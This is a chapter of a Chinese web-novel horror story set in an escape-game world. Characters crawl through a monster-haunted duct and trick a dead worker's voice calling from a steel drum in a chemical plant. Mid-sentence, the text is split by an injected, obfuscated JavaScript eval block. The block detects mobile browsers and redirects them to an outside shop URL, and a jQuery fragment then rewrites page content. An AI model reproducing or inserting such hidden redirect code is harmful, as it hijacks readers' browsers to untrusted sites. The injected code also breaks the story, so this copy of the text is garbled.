学校监控室
白茹烟拍了拍晕过去的陆漓远,有些无奈:“太正直无私的人,下场都很惨。”
她并没有杀了陆漓远,她不会违背对安尤的承诺。
白茹烟:“但没说不能让他失忆呀。”
她笑得餍足,抬眼瞧向站在一旁的宋柯凡,男孩摩挲着自己的手指,埋下头,看不出情绪。
白茹烟笑容渐渐消失,自嘲道:“忙活那么久,总感觉会前功尽弃,呵……”
“她不在的这一年间,神发现人类太过狡猾,于是变更了游戏规则,祂扩大游戏盘,试图纳入全人类参与这场谋杀。”
“育生实验不过是个幌子,让……知道,世界非恶即善……”
……
副本内
阮荼:“门,门开了!跑!”
人形怪物扑来的一瞬,小门打开了。
阮荼钻进去,拼命地朝前爬去。
他们在一条狭窄的通风管道,管道只够一个人弓着脊背爬行。
“有,有人!”
吴索未的声音抖得不成样子,带着濒临崩溃的哭腔:“有人被,被拖出去了……”
惨叫响彻管道。
冷汗顺着阮荼的额角滑下,她牙咬的嘎嘎响,强压下恐惧,飞快爬着:“别回头!往前爬!”
话音未落,第二声惨叫接踵而至。
吴索未的呼吸骤然停滞。
他能清晰地感觉到,自己身后那道紧贴着的体温瞬间消失。
这一刻,他成了队尾。
无边的恐惧瞬间将他的理智淹没,求生的本能让他猛地伸出手,死死攥住了阮荼的脚踝。
吴索未:“凭、凭什么你在我前面爬,你是异能者!我就是个普通人!肯、肯定是因为你在现实世界碰了那个人头!是你害我掉进这个鬼地方的!”
他像是抓住了唯一的宣泄口,嘶吼:“对!都是你!全都是你的错!”
他死死拖着阮荼的脚踝不让她往前挪动,另一只脚狠狠踩在阮荼蜷起的小腿上,借着那点力道疯狂地往前窜。
他要超过她,他要在前面,让她去当那个被拖走的替死鬼!
阮荼身体瞬间被拽得往后滑了半寸。
就在吴索未的手掌快要抓到前方管道壁,即将越过她的瞬间——
一道黏腻的、拖拽重物的沙沙声,从管道的最末端,缓缓地、缓缓地攀了上来。
那声音很近。
近得仿佛就在她的后颈处。
“靠……”
……
此时安尤和许愿已经进入了那扇防爆门。
通道内漆黑一片,只有安尤手中打开的手电筒在发出光亮。
她停下脚步,从口袋里掏出那张藏在时间表后的地图。
地图上面是整个化工厂的平面布局,他们刚刚所在的烟囱是废料排放区。
地图上还标注了生产区、办公生活区、应急区、研究区,而在化工厂布局的边缘,还延伸出一条蜿蜒曲折的小巷,小巷的线条画得格外潦草,与工整的厂区布局格格不入。
“这个副本的生路应该是和电话对面的人合作逃出化工厂,就是不知道对面的人现在在哪个区域,还是她和我们不在一个副本空间……”
安尤收起地图,余光瞥见许愿正紧紧拽着自己的衣袖,她试图推开,反被抓的更紧。
许愿:“不,不许推开本小姐!这里太黑了……”
通道两侧的墙角堆着几个锈迹斑斑的铁桶,桶口边缘结着褐色的污渍,安尤的视线落在左侧的墙壁上,那里用红色油漆画着两个简单的小人,一个身形稍高,一个略显纤细,在两个小人的头顶,分别写着闫和厉两个字。
她微微蹙眉,这个闫,会不会是闫倾……
“我总感觉……有好多眼睛在盯着我们。”许愿又往安尤身上靠了靠,脑袋埋得更低。
“许愿:别停在这了,往前走啊,你不觉得这种地方画着这么两个小人很诡异吗?”
安尤无奈叹气,光束快速扫过通道的每一个角落,最终定格在不远处的角落。
那里隐约站着一个模糊的人形身影,一动不动地看着她们的方向。
“你能看到什么吗?”她抬手指向那个角落,语气平静。
许愿顺着她指的方向看去,脸色瞬间变得惨白,连连摇头:“你别吓我!那里……那里什么都没有啊!”
安尤再转头看向角落时,那道人形身影已经消失无踪,仿佛从未出现过。
她嘴角勾起一抹极淡的冷笑,低声嘀咕:“小时候也不见你这么腼腆啊……”
“你说什么?”许愿没听清她说的什么,抬头疑惑地看着她。
安尤收回目光,淡淡开口:“没什么,想起我一个师兄了。”
安尤:“养母意外离世后,我被师父收养,师父有个儿子,也就是我的师兄,他那时候很讨厌我,总觉得我分走了师父的爱,不仅把我丢进河里,还往我粥里撒盐。”
许愿:“他怎么能这样?在我家要是有人敢对我这样,是要挨鞭子的。”
安尤摇摇头:“那时候师父要养三个孩子,没日没夜地做活赚钱,大部分时间都是师兄在照顾我们。我每天练武,身上满是泥垢,他想让我干净点,又因为男女有别不方便帮我洗澡,就干脆把我往河里扔。”
“至于往我粥里放盐……”
她轻笑一声,语气里带着无奈:“其实是他糖和盐不分,加错了。”
安尤瞥向一处,勾唇:“师兄人很好,就是过于腼腆。明明很喜欢,很担心他爱的人受伤,每次却又装出漠不关心的蠢样,甚至还躲着。”
许愿撇撇嘴:“典型的刀子嘴豆腐心。”
她揉了揉发胀的太阳穴,语气渐渐低落下来:“我青梅竹马也这样,嘴硬得很,心里却很软。但那天我看到你和他一起进学校,感觉……他好像变了,变得很陌生,我印象中,他是个很痞坏的人,可那天……感觉他变温柔了?”
安尤一怔,抬眸看向她:“你说的人,是陆漓远?”
“对啊。”
许愿的脸颊瞬间泛起淡淡的红晕。
安尤微微蹙眉,许愿和陆漓远怎么可能是青梅竹马……眸光再次看向那个角落,人影没有任何动静。
许愿:“其实……我有些喜欢他,但不知道为什么,他忽然走了,我们很久没见面了,再次见到他,我感觉他好像根本不认识我……”
想起什么,她拉住安尤,有些不情愿开口:“对了,学校泼你水的事,是本小姐不对,你跟他走太近,我不高兴,才……”
说完,她脸颊更红了,岔开话题:“不说这个,反正我给你道歉了,你不许在这里丢下本小姐不管!”
“对了,你刚刚说的那个师兄,现在怎样了?”
许愿也不知道为什么,她对安尤这个师兄,格外感兴趣。
安尤目光重新落回墙壁上的小人画,声音听不出情绪:“他死了。”
许愿脸上的笑容瞬间僵住,心脏莫名地抽痛了一下,说不出的难受。
通道里陷入了诡异的沉默,只有两人浅浅的呼吸声在回荡。
几秒后,安尤打破沉默,伸手指向墙壁上那两个红色的小人:“你有没有听过关于闫和厉这两个人的传闻?”
她的话音刚落,通道右侧的一个铁桶突然发出一声轻响。
紧接着,一个沙哑的女声从桶里传了出来:“你们……也很羡慕闫姐和厉老板的爱情吧?”
安尤警惕的摸出匕首背在身后,问道:“你是谁?”
铁桶女人:“我和你们一样,是准备逃走的员工,不过我躲避巡逻的时候,不小心卡在了这个铁桶里,你们能不能帮我把上面的卡扣打开,我出去跟你们说他们的爱情故事。”
“好。”
安尤应声答应,脚步却丝毫未动,反而悄悄拉了拉许愿的衣袖,示意她往身后退。
两人默契地一步步往后挪,离那排铁桶越来越远,直到退到通道中间的位置才停下。
安尤的声音依旧平稳,听不出异样:“你在哪个铁桶里?这里铁桶太多来。”
桶里的女人:“就是最右边那个,桶身有点歪的那个!你们快过来啊,我卡在里面快难受死了。”
声音来源的那个铁桶格外扎眼,桶身中间部位明显被外力挤压变形,凹陷下去一大块。
这样严重变形的铁桶,别说成年人,就算是个孩子也不可能钻进去。
桶里不可能有活人。
安尤瞥了眼最右边那个变形的铁桶,淡淡开口:“别急,我们这就过去。”
话音落,她再次拉着许愿往旁边挪了挪,离铁桶又远了些。
这时,桶里的女声突然补充道:“对了,你们顺便把其他铁桶也打开看看吧,之前还有几个想逃出去的员工,也被困在这些桶里了,一起放出来也好有个照应。”
安尤面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968164|190463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不改色:“好啊,那我一个个去看看,你先讲着闫姐和厉老板的事吧,桶上面的卡扣锈得厉害,打开估计要花点时间。”
“也行。”
桶里的女声答应下来,可刚咬开口,它突然意识到什么问道:“不对……你的声音怎么听起来离我越来越远了?”
安尤语气自然地找着借口:“是回声太大了,我离你有些远,在弄你同伴的卡扣。”
桶里的女声沉默了几秒,信了她的话,“没事,你慢慢来。”
“反正时间还多,我也慢慢给你讲,保证让你们听完就知道,闫姐和厉总的爱情有多让人羡慕。”
此时的安尤已经走到通道尽头,根据地图,他们推开这扇门,就是日常办公区。
地图上没有明确给出哪个区域可以逃出去,但眼下,她们必须离开这条通道。
她试图拧动门把手,可门把手纹丝不动。
安尤蹙眉,应该要等电话另一个人操作,可他们进入防爆门后,电话已经很久没有传出声音了。
许愿害怕的牙齿打颤,她想说些什么,被安尤阻止:“铁桶里的人不知道自己死了,拖着它,等门开。”
铁桶女人还在讲着爱情故事:“你们肯定是新员工,竟然连闫姐他们的故事都不知道。”
铁桶女人:“这家化工厂是厉老板为闫姐开的,闫姐是很出名的研究员,这你们肯定知道吧?现在这个时代,有高知学识的女人太少了。闫姐很喜欢研究人类的生命学,而厉老板重病在身,厉老板临死前,不想死的没有价值,听说闫姐缺实验品,就将自己卖给了实验所。”
铁桶女人:“你猜怎么着!当时闫姐正好研究出一个药剂,厉老板的身体突然好了!甚至还变成了一个帅小伙,为报答闫姐的救命之恩,厉老板十里红妆娶了闫姐,为了让闫姐更好的研究,还专门给她开了这个化工厂!”
安尤蹙眉,搞研究和化工厂有什么关系。
铁桶女人并不觉得有问题,继续说着:“他们现在还很恩爱,就是……我们有点受不了这个化工厂的制度,常年不放假,也不让我们回家,虽然我学到很多东西吧,但我想妈妈了……”
铁桶女人:“我们几个人就策划着想要逃出去,结果遇上巡逻了,就藏进了铁桶。谁知道这铁桶在里面打不开啊!对了……你们还没找到我吗?”
安尤暗叫不妙,试图岔开话题:“哇塞!他们的爱情故事太美妙了,我们是新员工,你说的闫姐,是叫闫倾吗?”
铁桶女人:“是……你们现在在哪,为什么还没有把铁桶打开?”
安尤:“卡扣太锈了,我在找其他工具,对了,厉老板叫什么名字啊?到底有多帅?要是能亲眼见上一面就好了!”
提到厉老板的样貌,桶里女人的语气缓和了几分,带着些许向往:“厉老板叫厉景敛。他生病的时候都四十多了,头发都白了好些,看着特别憔悴。但用了闫姐的药剂后,不仅病好了,皮肤变光滑了,头发也变黑了,看着比厂里的二十多岁的年轻小伙还精神,就是和以前模样不太一样了”
“这么神奇!”安尤继续搭话:“那他们真是天造地设的一对!”
“可不是嘛……”
女人的话音刚落,语气骤然变得冰冷,带着质问:“你别跟我打岔!这么久了,别说撬卡扣,我连你们的脚步声都没听到!你是不是根本就不打算救我?!”
安尤刚要找借口搪塞,桶里的女人却突然陷入了沉默,紧接着传来一阵细碎的、像是在回忆什么的嘟囔道:“不对……我好像想起来了什么……厉老板和闫姐没有一直恩爱,他们吵架了,好像是因为厉老板招了个新的小姑娘进厂……”
铁桶女人:“对,就是因为那个小姑娘!他们吵得特别凶,还说要把这个化工厂炸了,因为这是他们的爱情见证,毁了它才解气!”
遭了,这东西的记忆正在恢复。
她刚要开口安抚。
就听到一声巨响,那个变形的铁桶突然倒了……
一道黏黏糊糊的身影从桶里滑了出来,四肢以极其扭曲的角度弯折着,它趴在地上,发出凄厉又绝望的嘶吼:“对!他们把化工厂炸了!”
“我当时躲在铁桶里,直接被炸死了……我死了啊!我死了!”
那道身影猛地抬起头,朝着安尤和许愿的方向扑来——
“我没有逃出去!我没有见到妈妈最后一面!我没有逃出去!你们凭什么能逃出去!!!”